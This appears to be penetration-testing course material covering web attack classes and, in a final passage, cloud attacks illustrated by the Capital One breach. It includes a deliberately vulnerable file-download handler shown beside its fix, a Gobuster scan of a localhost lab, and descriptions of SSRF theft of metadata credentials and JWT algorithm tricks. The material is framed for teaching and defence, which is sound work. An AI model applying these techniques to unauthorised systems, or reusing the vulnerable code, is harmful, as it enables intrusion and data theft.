Exam objectives: 4.5: brute-force and collision attacks, directory traversal, server-side request forgery (SSRF), cross-site request forgery (CSRF), insecure direct object reference (IDOR), session hijacking, file inclusions (remote file inclusion, local file inclusion and web shells), API abuse and JSON Web Token (JWT) manipulation; tools Postman, Gobuster/DirBuster, Wfuzz, WPScan and TruffleHog.

Before you run anything

Testing a system without its owner's written permission is illegal and wrong, under the US Computer Fraud and Abuse Act, the UK Computer Misuse Act and similar laws elsewhere. Even with permission, a test that reads another user's data touches personal information, so the rules of engagement (ROE) should say which test accounts you may use and what you may view.

Every command in this course runs only against your own lab: OWASP Juice Shop at 127.0.0.1:3000, or the Metasploitable 2 machine at 192.168.56.102. Nothing here is an attack string or a ready-made exploit. You will see what each flaw is, how to recognize it, and what removes it.

The comparison: whose word does the application take?

Every flaw in this lesson is a decision the server made on someone's say-so. Ask the same question of each one, and the list becomes easy to hold in your head.

FlawWhose word is takenThe missing check
Insecure direct object reference (IDOR)The identifier in the requestDoes this user own this object?
Directory traversal and file inclusionThe file name or path in the requestIs this path inside the allowed folder, and is it a file we meant to serve?
Server-side request forgery (SSRF)The address the user suppliesMay the server fetch this destination?
Cross-site request forgery (CSRF)The browser's automatic cookieDid the user actually mean to send this?
Session hijackingThe session identifierIs this the person it was issued to?
Brute-force and collision attacksAny guess, or any matching digestIs there a limit on guesses, and does an equal digest really mean equal content?
API abuseThe caller's claimed role and objectIs this caller allowed this function on this property?
JSON Web Token (JWT) manipulationThe token's own header and claimsIs the signature valid under the algorithm we chose?

Key idea: the fix is nearly always a check the server makes for itself, on every request, using facts it holds, never facts the client supplies.

Insecure direct object reference (IDOR): the First American flaw

An insecure direct object reference (IDOR) is a request that names an object, such as an invoice, a basket or a document, by a value the user can edit, where the server never checks that the user may have that object. OWASP's testing guide describes it as an access control failure that lets a tester reach another user's data by changing a parameter that points at an object.[3] The modern name in API work is broken object level authorization, which tops OWASP's API Security Top 10.[6]

Why it happens: the developer wrote code that loads an object by its number and tested it with the logged-in user's own numbers. Everything worked. Nobody asked what happens with someone else's number.

A tester recognizes it by comparing two users. OWASP's guide recommends at least two test accounts that each own different objects.[3] Log in as account A and note a request that fetches A's object. Replay it with A's session but B's object identifier. If B's data returns, the flaw is real. Here is a fictional record from a shop's access log that a defender could notice:

10.0.0.8  user=ana    GET /api/orders/1041  200  ok
10.0.0.8  user=ana    GET /api/orders/1042  200  ok
10.0.0.8  user=ana    GET /api/orders/1043  200  ok
10.0.0.8  user=ana    GET /api/orders/1044  403  denied
10.0.0.8  user=ana    GET /api/orders/1045  200  ok

One user walking consecutive numbers is the tell. The 403 on 1044 shows a check exists somewhere, and the 200s around it show it was applied unevenly. Change one input and the result flips: if every order Ana does not own returned 403, the control works and the finding disappears.

Unguessable identifiers do not fix this. A random 128-bit identifier hides objects but still serves them to anyone who learns the value from a log, a shared link or a referrer. The fix is an ownership check on the server for every request. Random identifiers are an extra layer, not a substitute.

Defenders look for one account requesting many different object identifiers, runs of sequential numbers, or a rising count of 403 responses. A Web Application Firewall (WAF) sees this poorly, because each request looks legitimate. Only the application knows who owns what.

Directory traversal and file inclusion: when the path is the input

Directory traversal is a flaw in which a file name supplied by the user is joined onto a folder path, and the user can climb out of that folder with parent-directory sequences to read files elsewhere on the server. The application meant to serve images from one folder and ends up serving any file the web server account can read, such as configuration files that hold passwords.[3]

Here is a fictional vulnerable download handler beside a fixed one. Read them as a code reviewer.

# Vulnerable: the name goes straight into the path
def download(name):
    return send_file(os.path.join(BASE, name))

# Fixed: resolve the final path, then confirm it is still inside BASE
def download(name):
    full = os.path.realpath(os.path.join(BASE, name))
    if not full.startswith(os.path.realpath(BASE) + os.sep):
        abort(404)
    return send_file(full)

The fix resolves the path first, then compares. Checking the raw text for forbidden characters fails because the same path can be written in encoded forms the check never sees. A stronger design avoids paths altogether: the user sends an ID, and the server maps the ID to a file it chose.

File inclusion is the same weakness in a worse place. Some web languages, notably PHP (PHP: Hypertext Preprocessor), can include a file, which means they read it and run its contents as code. When the file name comes from the user, there are two cases:

  • Local file inclusion (LFI): the server includes a file already on its own disk. A tester sees content from files that should never be shown, and if text can be planted in a log or an upload, the server may run it.
  • Remote file inclusion (RFI): the server includes a file fetched from another address, so code written elsewhere runs on the server. It needs a language setting that allows includes from a URL. Modern defaults keep it off, so it is rare today but still on the exam.

Both lead to arbitrary code execution, the outcome Lesson 17 introduced. The fix is never to build an include path from input: use a fixed list of allowed page names, and keep remote includes disabled.

A related flaw is unrestricted file upload. A form that accepts any file and stores it where the web server can run it lets a visitor place a web shell: a small script that runs commands sent to it over HTTP, giving the sender a foothold. Defenders spot new executable files in upload folders and web server processes starting shells. The fixes are to store uploads outside the web root, rename them, check content by inspecting the file rather than trusting its name, and forbid execution in the upload folder.

Server-side request forgery (SSRF): making the server the messenger

Server-side request forgery (SSRF) is a flaw in which the application fetches a web address supplied by the user, so the user can aim the server's requests at places the user cannot reach directly. Typical features are "import from URL", link previews, webhooks and PDF generators.

Why it matters: the server sits inside the network. It can reach internal admin pages, databases and, in cloud hosting, the metadata service at 169.254.169.254, which hands out credentials to the machine's role. OWASP notes that SSRF is often used in cloud environments to steal credentials and tokens from metadata services.[4] SSRF now has its own place in OWASP's API Security Top 10.[6]

A tester finds it by listing every feature that takes a URL, then supplying an address under the tester's control, such as a listener on the lab network, and checking whether the server connects. A response that arrives is a full SSRF. A connection logged with nothing returned is blind SSRF, proved only by the callback.

What defenders see: outbound requests from the web server to internal ranges or to the metadata address, and unusual destinations in egress logs. The fix, in OWASP's guidance, is an allowlist of the destinations the feature genuinely needs. Where that is impossible, validate the resolved IP address against permitted networks and connect only to the address you validated, because a second lookup can be changed to point somewhere else (DNS rebinding).[4] On AWS, IMDSv2 adds defense in depth.[4]

Cross-site request forgery (CSRF): borrowing the victim's browser

Cross-site request forgery (CSRF) is an attack in which a page on another site makes a logged-in user's browser send a state-changing request, such as "change email" or "transfer funds", to your application. The browser attaches the user's session cookie automatically, so the server sees a valid session and obeys.

The weakness is that the server cannot tell a request the user chose from one a third-party page triggered. Note the difference from XSS in Lesson 17: CSRF needs no script on your site and cannot read the response. It can only cause actions.

A tester checks every state-changing request for something the attacker cannot know: a token in the body or a header, or a check of the Origin header. If the request succeeds when replayed without them, the endpoint is open to CSRF. Defenders see state changes whose Origin or Referer names another site.

OWASP's fixes: the synchronizer token pattern for stateful applications, a double-submit cookie for stateless ones, custom request headers for API calls, the SameSite cookie attribute as defense in depth, and verifying the Origin header.[4] Never use GET requests for actions that change data.

Session hijacking: stealing the wristband

After login, the server hands the browser a session identifier and treats whoever presents it as that user. Session hijacking is taking over that identity by obtaining a valid identifier. OWASP lists the routes: disclosure, capture, prediction, brute force and fixation.[4]

RouteWeaknessFix
Capture on the networkIdentifier sent over unencrypted HTTPHTTPS everywhere and the Secure cookie attribute[4]
DisclosureIdentifier placed in the URL, so it lands in logs, history and referrer headers[4]Carry it in a cookie only
Prediction or guessingIdentifier too short or generated by a weak random sourceAt least 64 bits of entropy from a cryptographically secure generator[4]
FixationThe identifier survives login, so an attacker who set it beforehand shares the sessionIssue a new identifier at login
Theft by scriptScript on the page can read the cookieHttpOnly attribute, plus fixing the XSS

OWASP gives a feel for the entropy rule: with 64 bits, 10,000 guesses a second and 100,000 live sessions, an attacker should expect to spend about 585 years to find one valid identifier.[4] A tester collects a sample of identifiers, looks for patterns in them, and checks that the identifier changes at login and logout. Burp Suite's Sequencer, from Lesson 17, rates randomness.

Defenders see one session identifier used from two addresses or two browsers in quick succession. The remedy for the user is logout that actually destroys the server-side session, and short idle timeouts.

Brute-force and collision attacks on the web

A brute-force attack tries many candidate values until one is accepted. On the web the candidates may be passwords, session identifiers, one-time codes, coupon codes, or object numbers like those in the IDOR log. The weakness is the absence of a limit. Defenders see long runs of failures from one source, or many failures against one account, and the fixes are rate limiting, temporary lockout, multifactor authentication and monitoring.

Password-specific guessing, such as spraying, stuffing and mask attacks, is treated with the password-attack objective elsewhere in the course. Here the key point is that anything guessable and unlimited is a target.

A collision attack exploits two different inputs producing the same output. Two forms appear in web work:

  • Hash collisions: a hash function should give every input its own digest. Weak functions such as MD5 and SHA-1 have known practical collisions, so an attacker can craft two different files with one digest. An application that trusts "same digest means same file", for upload de-duplication or signature checking, can be fooled. Fix: use SHA-256 or stronger for integrity.
  • Hash-table collisions: web frameworks store request parameters in tables keyed by a hash. If an attacker sends many keys that land in one bucket, each lookup slows to a crawl and a small request can exhaust the processor. Defenders see slow requests with huge parameter counts. Fixes: randomized hashing, limits on parameter counts and body sizes.

API abuse: when the front end hides the rule

An application programming interface (API) lets programs, including a website's own scripts, call server functions directly. API abuse is using those functions in ways the designers did not intend. It happens because developers assume the website's buttons are the only caller. A tester never uses the buttons; they send requests straight to the endpoint.

OWASP's API Security Top 10 (2023) names the main patterns.[6] This table pairs each with a question you can ask of any API:

PatternQuestion to ask
Broken object level authorization (API1)Can I fetch someone else's object by ID? (This is IDOR.)
Broken object property level authorization (API3)Can I read or write a field I should not, such as a role or price?
Unrestricted resource consumption (API4)Is there a limit on requests, sizes and costs?
Broken function level authorization (API5)Can an ordinary user call an admin function?
Server-side request forgery (API7)Does any endpoint fetch a URL I supply?

A fictional example of the property-level pattern: an update-profile call accepts a JSON body, and the server copies every field it receives into the user record.

Request body sent by the page:   {"displayName": "Ana"}
Same endpoint, extra field:      {"displayName": "Ana", "role": "customer"}
Server stores whatever arrives, so a tester checks whether "role" is accepted.

This is called mass assignment. The fix is an explicit allowlist of the fields each endpoint may write. A tester discovers the API's shape from documentation, a published specification or recorded traffic; defenders see calls to endpoints no page uses, or one account suddenly calling many functions.

JSON Web Token (JWT) manipulation: trusting the token's own label

A JSON Web Token (JWT) is a compact token with three Base64URL parts: a header, a payload of claims, and a signature. Many APIs use one as the session. Because Base64URL is encoding and not encryption, anyone can read the first two parts. Here is a fictional token's decoded content:

Header:    {"alg": "HS256", "typ": "JWT"}
Payload:   {"sub": "1042", "role": "customer", "exp": 1767225600}
Signature: [signature removed]

The signature stops tampering, if the server checks it properly. JWT manipulation is changing a token or exploiting how the server verifies it. RFC 8725 lists the known failures:[5]

  • The header names the signing algorithm, and the attacker can change it to "none". Some libraries then accept the token with no signature check.[5]
  • An RS256 token (signed with a private RSA key) can be relabeled as HS256 (signed with a shared secret). A flawed library may then verify using the public RSA key as the secret.[5]
  • A weak HMAC secret, such as a memorable password, can be guessed offline once a tester holds one valid token.[5]
  • The server trusts claims such as role without checking them against its own records.[5]

A tester decodes the token, notes the algorithm and claims, and checks in an authorized test whether the server rejects a token whose signature or algorithm has been altered. The fix, in RFC 8725, is to verify the algorithm against a fixed expectation, use strong algorithms and keys, and not trust received claims blindly.[5] Defenders see tokens failing validation, tokens with unexpected algorithms, and a role claim that disagrees with the account database.

Postman, Gobuster, Wfuzz, WPScan and TruffleHog: choosing the tool

Burp Suite and ZAP, from Lesson 17, record and replay traffic. The tools below each do one narrower job. Pick by asking where the thing you need to vary sits.

ToolWhat it is forChoose it whenWhat its output looks like
PostmanA graphical client for building and saving API requests in collections, with variables for tokens and base addressesYou have an API and need to send the same call as different users, and compareStatus, headers and a formatted JSON body per request
GobusterBrute-forces paths and file names (dir mode), DNS names and virtual hosts from a wordlist; also has fuzz mode[7]You want to find content that no link points toOne line per hit with path, status and size
DirBusterAn older graphical tool for the same directory and file guessingThe exam names it beside Gobuster; treat them as alternativesA results tree of found paths and codes
WfuzzA fuzzer that replaces a FUZZ placeholder anywhere in a request with entries from a wordlist, and filters responses by code, length or word countThe position to vary is not just a path: a parameter, a header, an object numberA table of attempts with code, lines, words and length
WPScanA WordPress scanner that identifies the version, plugins, themes and users, and matches them to known vulnerabilities; its vulnerability data needs a free API token limited to 25 requests a day[8]The target runs WordPress, and plugins are the usual weak pointLists of versions and plugins with vulnerability notes
TruffleHogSearches repositories and other stores for leaked secrets, recognizing over 800 secret types and checking whether they still work[8]You have source code, a repository history or a file share, and want leaked keysEach finding with detector name, location and verified or unverified status

Postman may ask you to sign in for some features. Burp Suite's Repeater or ZAP's request editor does the same job with no account, which is why this course does not require it.

Gobuster is the one to try in your lab. Juice Shop is a single-page app that answers many unknown paths with the same page, so wildcard responses are the first thing to understand. Run a directory scan against your own copy, with a wordlist that ships with Kali:

gobuster dir -u 127.0.0.1:3000 -w /usr/share/wordlists/dirb/common.txt -q

Sample output, expecting something like this rather than an exact capture:

/ftp                  (Status: 200) [Size: 11062]
/assets               (Status: 301) [Size: 179]
/robots.txt           (Status: 200) [Size: 28]

Read it as leads to follow, not findings. A directory named ftp on a shop is worth a look in the browser. When every line returns the same status and size, the server is answering everything alike, and you filter by size to see the odd one out. Wordlists decide what you find: a name that is not in the list is never tried.

TruffleHog earns its place because secrets leak where nobody looks. A fictional line of output looks like this:

Detector: AWS
Verified: false
File: config/deploy.env
Commit: 3f2a9c1  (2023-04-11)
Secret: [secret removed]

A tester reports the location and commit, not the secret itself. The fix is to revoke and rotate the credential at once, because deleting the file does not remove it from Git history.

All the families on one page

TechniqueWeakness it relies onToolsWhat defenders seeFix
IDORNo ownership check on an object IDBurp Repeater, Postman, WfuzzOne account walking many IDsServer-side ownership check on every request
Directory traversalUser text joined into a file pathBurp, ZAPRequests for files outside the content folderResolve the path, then confirm it is inside the base folder
LFI, RFI, web shellInput chooses what is included or stored as executableBurp, ZAP, Gobuster to find uploadsOdd include parameters; new scripts in upload foldersFixed include list; uploads outside the web root
SSRFServer fetches a user-supplied addressBurp, PostmanWeb server calling internal or metadata addressesAllowlist destinations; validate resolved IP
CSRFCookie sent automatically, no proof of intentBurp, ZAPState changes with a foreign OriginAnti-forgery token, SameSite, Origin check
Session hijackingWeak, exposed or reusable session IDBurp SequencerOne session ID from two placesStrong random IDs, Secure and HttpOnly, renew at login
Brute-force, collisionNo guess limit; weak hashGobuster, Wfuzz, Burp IntruderBursts of failures; slow requests with huge parameter countsRate limits, MFA; SHA-256, randomized hashing
API abuseRules enforced in the front end onlyPostman, BurpCalls no page makesPer-function and per-property authorization
JWT manipulationSignature or algorithm not verified strictlyBurp, PostmanTokens failing validationFixed algorithm, strong keys, verify claims

Exam cues: which flaw does the stem describe?

The stem saysThinkCommonly confused with
Changing a number in the URL shows another customer's recordIDORSQL injection, which changes query structure, not an identifier
A parameter that names a file returns a system fileDirectory traversal or LFIRFI, which needs a fetched remote file
The server contacts an address the user suppliedSSRFCSRF, which uses the user's browser, not the server
A hidden form on another site changes the user's settingsCSRFXSS, which runs script in the target site
A cookie reused from another computerSession hijackingCredential stuffing, which tries stolen passwords
Token accepted with its signature removedJWT manipulationSession fixation
Ordinary user calls an admin endpoint directlyAPI abuse (function level)Privilege escalation on a host
Hunting unlinked pages with a wordlistGobuster or DirBusterWfuzz, chosen when the varied part is not a path
Keys found in a repository's historyTruffleHogWPScan, which targets WordPress

How the finding is reported

Reporting an access control flaw means showing the evidence without exposing real people's data. Redact personal details and say how many records were reachable, rather than collecting them. A fictional example:

FieldEntry
TitleOrder records readable by any logged-in customer (IDOR) in the Larkspur Books portal (fictional client)
SeverityHigh. Any customer can read any other customer's name, address and order history; no special skill is needed; the order numbers run in sequence, so every order can be reached.
EvidenceUsing test account ana@example.com, request GET /api/orders/1042 returned 200 with a different customer's record. Customer details redacted in the attached screenshots. Two test accounts, three order numbers tried.
Root causeThe order endpoint loads by order number and never compares the order's owner to the session's user.
RemediationAdd an ownership check in the data layer for every order query; return 404 for orders the user does not own; add a regression test with two accounts; alert on one account requesting many order numbers.

A good retest runs the same two-account comparison and shows that B's order now fails for A while A's own orders still load.

Common misconceptions

  • A login page protects the objects behind it. Login proves who you are. Access control decides what you may touch, and it must be checked per request.
  • Random identifiers fix IDOR. They make guessing harder, but the missing ownership check is still there.
  • SSRF and CSRF are the same thing. In SSRF the server is the messenger; in CSRF the user's browser is.
  • A JWT is encrypted. It is signed. Its contents are readable by anyone who holds it.
  • Remote file inclusion works everywhere. It needs a particular setting that is off by default in current PHP.
  • A WAF removes these flaws. A WAF can block patterns, but an IDOR request looks legitimate.

What to remember

  • Remember: IDOR is a missing ownership check on an identifier the user controls; unguessable identifiers do not replace the check.
  • Remember: directory traversal is fixed by resolving the final path and confirming it lies inside the base folder, not by filtering characters.
  • Remember: LFI includes a local file, RFI includes a fetched one, and a web shell arrives through an upload that the server can execute.
  • Remember: SSRF makes the server fetch an attacker-chosen address; the cloud metadata address 169.254.169.254 is the classic prize, and an allowlist is the fix.
  • Remember: CSRF abuses the cookie the browser sends automatically; an anti-forgery token, SameSite cookies and an Origin check defend against it.
  • Remember: session identifiers need at least 64 bits of entropy from a secure random source, must be renewed at login, and belong in a Secure cookie, not a URL.
  • Remember: a JWT is signed, not encrypted; fixed-algorithm verification stops the "none" and RS256-to-HS256 tricks.
  • Remember: pick Postman for API comparisons, Gobuster for unlinked paths, Wfuzz when the varied part is not a path, WPScan for WordPress, and TruffleHog for leaked secrets.

Sources

  1. Krebs, B. (2019, May 24). First American Financial Corp. leaked hundreds of millions of title insurance records. KrebsOnSecurity. krebsonsecurity.com
  2. BankInfoSecurity. (2021). First American Financial's SEC breach settlement: $488,000. bankinfosecurity.com
  3. OWASP Foundation. (2020). Web security testing guide (v4.2): WSTG-ATHZ-01 and WSTG-ATHZ-04. owasp.org
  4. OWASP Foundation. (n.d.). OWASP cheat sheet series: Server-side request forgery prevention; Cross-site request forgery prevention; Session management. cheatsheetseries.owasp.org
  5. Sheffer, Y., Hardt, D., and Jones, M. (2020). JSON Web Token best current practices (RFC 8725). IETF. rfc-editor.org
  6. OWASP Foundation. (2023). OWASP API security top 10 2023. owasp.org
  7. OJ Reeves and contributors. (n.d.). Gobuster (README). GitHub. github.com/OJ/gobuster
  8. WPScan Team. (n.d.). WPScan (README); Truffle Security. (n.d.). TruffleHog (README). GitHub. wpscan; trufflehog
Key terms
Insecure direct object reference
A flaw, abbreviated IDOR, in which a request names an object by a user-editable value and the server never checks that the user may access it; the API form is called broken object level authorization.
Directory traversal
A flaw in which a user-supplied file name is joined to a folder path and parent-directory sequences let the user read files outside the intended folder.
Local file inclusion
A flaw, abbreviated LFI, in which user input chooses a file on the server's own disk that the application includes, exposing its contents or running it as code.
Remote file inclusion
A flaw, abbreviated RFI, in which user input chooses a file fetched from another address that the application includes and runs; it needs a language setting that is off by default today.
Web shell
A small script placed on a web server, often through an unrestricted upload, that runs commands sent to it over HTTP and gives its sender a foothold.
Server-side request forgery
A flaw, abbreviated SSRF, in which the server fetches a web address supplied by the user, letting the user reach internal systems and cloud metadata services.
Cross-site request forgery
An attack, abbreviated CSRF, in which another site makes a logged-in user's browser send a state-changing request that the server accepts because the cookie is attached automatically.
Session hijacking
Taking over a user's logged-in identity by obtaining a valid session identifier through capture, disclosure, prediction, brute force or fixation.
JSON Web Token manipulation
Changing a JSON Web Token or exploiting weak verification, such as accepting the none algorithm or confusing RS256 with HS256, so the server trusts forged claims.
Gobuster
An open source tool written in Go that brute-forces directories, files, DNS names and virtual hosts from a wordlist.

Module 7: Attacks III: Cloud, Wireless, People, Specialized Systems, and Automation (Domain 4, objectives 4.6-4.10)

Extend the picture to cloud services, wireless networks, people, mobile devices, AI systems and industrial controls, and see how scripting and breach and attack simulation tools automate and rehearse those techniques safely.

Somebody Else's Computer: Cloud Attacks

  • Explain how metadata service attacks work and what each IMDSv2 protection stops.
  • Read an IAM policy and a trust policy to state which identities can call which actions on which resources, and classify resource misconfigurations from findings output.
  • Distinguish logging exposure, image tampering, supply chain attacks, workload runtime attacks, container escape and trust relationship abuse by mechanism, detection and fix.
  • Choose among Pacu, Prowler, ScoutSuite, Docker Bench, Kube-hunter and cloud-native vendor tools, and report a cloud finding within the provider's testing rules.

Capital One's disclosure inbox, 17 July 2019, 1:25 a.m.

At 1:25 a.m. on Wednesday, 17 July 2019, an email from a stranger reached the responsible-disclosure inbox of Capital One, the US credit card issuer. "There appears to be some leaked s3 data of yours in someone's github / gist," it said, and gave a link. An FBI complaint filed twelve days later reproduces it.

The linked file, timestamped 21 April, held code for three commands and a list of more than 700 folders or buckets of data. Capital One ran the commands and confirmed what they did. The first obtained security credentials for an account known as *****-WAF-Role. The second listed the bank's storage. The third copied data from whatever that account could read.

Get an identity. See what it can see. Take what it is allowed to take. Most of objective 4.6 varies those three lines, because in the cloud the computer is somebody else's, in a building you will never enter, and the provider guards that part. What the customer controls, and can get wrong, is configuration: who may do what, from where. Three terms first:

  • Amazon Web Services (AWS) is the provider (the indictment says only "the Cloud Computing Company"; the Ninth Circuit's 2025 opinion names it)
  • identity and access management (IAM) is its permission system
  • a bucket is a named container in Amazon S3, its storage service

Exam objectives: 4.6 (metadata service attacks; IAM misconfigurations; third-party integrations; resource misconfiguration: network segmentation, network controls, IAM credentials, exposed storage buckets, public access to services; logging information exposure; image and artifact tampering; supply chain attacks; workload runtime attacks; container escape; trust relationship abuse; tools Pacu, Docker Bench, Kube-hunter, Prowler, ScoutSuite and cloud-native vendor tools).

Before you run anything: permission twice over

Testing a system without its owner's written permission is illegal and wrong, under the US Computer Fraud and Abuse Act, the UK Computer Misuse Act and similar laws elsewhere. The indictment shows how that reads from the other side: it charges that each copy command implicitly claimed to come from someone entitled to send it. The commands were ordinary. The permission was missing.

In the cloud you need permission twice, because your client can authorize only what it controls (Lesson 3). The provider's rules sit on top, and they change, so reread them for each engagement. As published on 3 November 2026:

ProviderCustomers mayForbidden or gated
AWSTest their own EC2 instances, WAF, load balancers, RDS, Lambda, API Gateway, ECS, Fargate and other listed services without approval. S3 is not listed; unlisted services go through AWS SupportDenial of service and flooding; DNS zone walking; S3 bucket and subdomain takeover; testing AWS's own infrastructure. Command and control needs approval; simulated phishing and malware need a form
MicrosoftTest their own tenant and Azure VMs; try to break out of a shared container, stopping on success and reportingDenial of service; others' data; credentials not yours, even leaked ones; anything beyond identifying and reporting a flaw
Google CloudTest their own projects without notifying GoogleAnything outside its terms, or affecting other customers

Nothing in this lesson needs a cloud account. In real work Prowler, ScoutSuite and Pacu run with credentials for the client's account; opening one of your own means a payment card and the provider's terms, so read those first. The one live target here is Docker on your own Kali VM, and Docker Bench only reads its configuration.

The first command: a web application firewall and the metadata service

What do the records prove? The complaint says a firewall misconfiguration let commands reach and run on one server. The superseding indictment says scanners sought servers whose misconfigured firewalls permitted "commands sent from outside the servers to reach and be executed by the servers." The Ninth Circuit adds that a script scanned millions of public addresses associated with AWS, and that Paige Thompson began more than two years after her job at Amazon S3 ended. So this is an outsider scanning the internet, not an insider with a badge.

None of those records names the technique. Brian Krebs, citing a source with direct knowledge of the investigation, reported that a misconfigured open-source Web application firewall (ModSecurity) relayed requests to the AWS metadata service, an example of Server-side request forgery (SSRF), which Lesson 18 covers. MITRE ATT&CK's metadata entry cites that article, while Amazon told Krebs it was inaccurate to say IAM, the metadata service or the AWS WAF caused the breach. Keep the two apart: court records establish the misconfiguration and the stolen credentials; reporting supplies the likely route.

Why could a firewall fetch credentials at all? Every EC2 virtual server can ask a small web service about itself at the link-local address 169.254.169.254. This instance metadata service returns the server's name, network details, start-up script and, if an IAM role is attached, temporary credentials for that role. AWS built it so programs get rotated keys instead of hardcoded ones, and it trusts whatever reaches it from inside the instance. A Reverse proxy or firewall in front of a website takes requests from outside and re-sends them from inside. Misconfigure where it may forward to, and an outsider's request arrives looking local.

What happensWhy it worksWhat it leaves behind
1. An outsider's request to the public proxy names the metadata address as its destinationThe forwarding rule accepts any upstream hostAn odd host or path in proxy logs, if anyone reads them
2. The proxy relays itTo the service it is local. Security groups do not filter metadata trafficAlmost nothing: VPC flow logs omit metadata traffic
3. The reply carries the role's temporary key, secret and token back outIt is an ordinary HTTP responseThe body, if the proxy logs bodies
4. The outsider calls the cloud API from elsewhereThe credentials work anywhere until they expire, unless a policy limits whereCloudTrail entries for the role from an unfamiliar address

Both ends, with fictional values and secrets removed. First the reply's shape, from AWS's documentation; the ASIA prefix from Lesson 8 marks a temporary key. Then what the defender gets, trimmed from a CloudTrail record.

{ "Code": "Success", "Type": "AWS-HMAC", "AccessKeyId": "ASIA[rest removed]",
  "SecretAccessKey": "[secret removed]", "Token": "[token removed]",
  "Expiration": "2026-11-03T18:22:10Z" }

"eventName": "ListBuckets", "sourceIPAddress": "203.0.113.50",
"userIdentity": { "type": "AssumedRole",
  "arn": "arn:aws:sts::111122223333:assumed-role/web-proxy-role/i-0abc123example" }

The session name is an instance ID, so these credentials were issued to a server, yet the call came from outside. Capital One's logs held the same tell. The complaint says the role did not normally invoke List Buckets. It also says calls came from what the agent believed were Tor exit nodes and from a VPN provider's addresses. GuardDuty, AWS's threat detector, flags this as UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS, High by default. ATT&CK files the technique as T1552.005.

A tester checks for this whenever a proxy, an SSRF flaw or a URL-fetching feature sits on a cloud host and the ROE covers it. Proof means showing that the service answered, with a harmless item such as the instance ID rather than the credentials path. A credential you were not given for the test is one you do not use.

IMDSv2: four locks on the metadata service

On 19 November 2019, under four months after the complaint, AWS announced IMDSv2, the session-based version. Its post never mentions Capital One, but it names "misconfigured-open website application firewalls" first among the failures it targets.

LockWhat it requiresWhat it blocks
PUT to beginSoftware first sends an HTTP PUT to get a tokenOpen WAFs and proxies: AWS found the vast majority do not pass PUT
Secret tokenEach read carries the token, valid up to six hours; when required, a missing one gets 401Most SSRF, where the attacker controls a URL but not headers
No forwarding headerPUTs with an X-Forwarded-For header are rejectedReverse proxies, which normally add it
Hop limit of 1The reply's IP time to live defaults to 1, so it dies leaving the instanceInstances misconfigured as routers, VPNs or NAT devices

The trap is the word "required". IMDSv1 keeps answering until the setting, HttpTokens in AWS's CLI, reads required; optional changes nothing for an attacker. An account default affects only new instances. A hop limit of 1 can break containers that need the service, so the account default sets 2. And IMDSv2 cannot help once an attacker runs code on the instance, because then the request really is local. So the fix has layers:

  • require tokens
  • shrink the role
  • block the address in a local firewall for processes that do not need it
  • add a condition such as aws:Ec2InstanceSourceVpc so that role credentials fail outside the network they were issued to

Other clouds demand a header instead: Metadata: true on Azure, which also refuses X-Forwarded-For, and Metadata-Flavor: Google on Google Cloud. AWS argues that a session is strictly stronger, because some SSRF flaws let the attacker set headers.

Why this matters: a metadata flaw turns a bug in one web server into an identity in the whole account. How far that goes is decided by a different setting, the role's permissions.

The second command: reading what an IAM role may do

A firewall filters web traffic. It has no business reading credit card applications. Yet the complaint says the role listed buckets and copied data from those it had permissions for, and Krebs reported it had too many. This is the exam's identity and access management misconfigurations, and an IAM policy listing is how you read one. It answers the question from Lesson 8: which identities can call which actions on which resources? Here is a policy from a fictional client, Tern Harbor Credit Union, attached to a fictional role, web-proxy-role.

{ "Version": "2012-10-17",
  "Statement": [{ "Effect": "Allow",
    "Action": ["s3:ListAllMyBuckets", "s3:ListBucket", "s3:GetObject"],
    "Resource": "*" }] }

Worked example. Can this role read tern-loan-applications/2026/app-4471.parquet?

  1. Which identity? A permissions policy names none; it applies to whatever it is attached to. Who may become the role is a separate document, covered below.
  2. Which action? Reading an object needs s3:GetObject. It is listed. (s3:ListAllMyBuckets is the permission behind the List Buckets call.)
  3. Which resource? The star matches every bucket and object in the account.
  4. Anything against it? AWS denies by default, an allow opens a door, and an explicit deny anywhere overrides any allow. Here there is no deny and no condition.

Answer: yes. Stolen credentials for this role read every loan application.

Second run, one line changed. Make the resource "arn:aws:s3:::tern-web-logos/*" and ask again. The action still matches, but no statement covers the loan bucket, so the default deny applies. The same stolen key now reads logos. The metadata flaw is unchanged and the breach is gone.

Three other misconfigurations recur. Rights that grant rights, such as iam:CreatePolicyVersion, or iam:PassRole plus the right to start a server, let an identity make itself stronger; Prowler's iam_policy_allows_privilege_escalation and Pacu's privilege escalation scan look for them. Long-lived AKIA access keys (Lesson 8) do not expire on their own and end up in code and build logs. Unused identities go unwatched, and IAM Access Analyzer reports them. Defenders see API calls unusual for that identity and bursts of AccessDenied when someone probes a key. The fix is least privilege, ideally a policy generated from what the role actually used.

Seven hundred buckets: stolen access versus open access

People often retell Capital One as an open bucket. The records do not. The indictment says data was copied using accounts that had the permissions: a valid identity asked and storage answered. An exposed storage bucket is a different failure, where nobody needs to steal anything. The exam files it under resource misconfiguration with four siblings, all settings you can read, which is why audit tools find them so well. Below, underscores mark Prowler checks and hyphens mark ScoutSuite rules.

Sub-bulletWhat it looks likeEvidenceFix
Network segmentationProxy, application and data in one flat networkRoute tables; security groups referencing each otherSeparate subnets or accounts per tier
Network controlsSecurity groups open to the internet; unrestricted outbound trafficec2_securitygroup_allow_ingress_from_internet_to_all_portsAllow lists; outbound filtering
IAM credentialsBroad roles on internet-facing hosts; keys in start-up scriptsec2_instance_internet_facing_with_instance_profileNarrow roles; no keys in scripts; rotation
Exposed storage bucketsA bucket policy or ACL granting everyone access (ATT&CK T1530 for reading it)s3_bucket_public_access; s3-bucket-world-policy-starS3 Block Public Access at account level. New buckets block by default, so this takes a deliberate change
Public access to servicesDatabases, the Kubernetes API or admin consoles reachable from anywhereec2_instance_public_ip; rds-instance-publicly-accessiblePrivate endpoints; VPN or bastion for admins

Why this matters: the two failures get opposite fixes. Block Public Access would not have touched a role with valid permissions, and shrinking a role does nothing for a bucket open to the world.

What the logs knew: logging information exposure

Logs helped convict this intruder: Capital One matched a List Buckets call to the timestamp on the posted file. But logging information exposure means logs hold something an attacker can use, or sit where the wrong people can read them. These two fictional lines are what you look for:

2026-03-22T04:12:31Z proxy-01 upstream=169.254.169.254 status=200 body={"AccessKeyId":"ASIA[rest removed]","Token":"[token removed]"}
2026-03-22T04:15:02Z app-02 DEBUG db connect user=svc_loans password=[password removed]

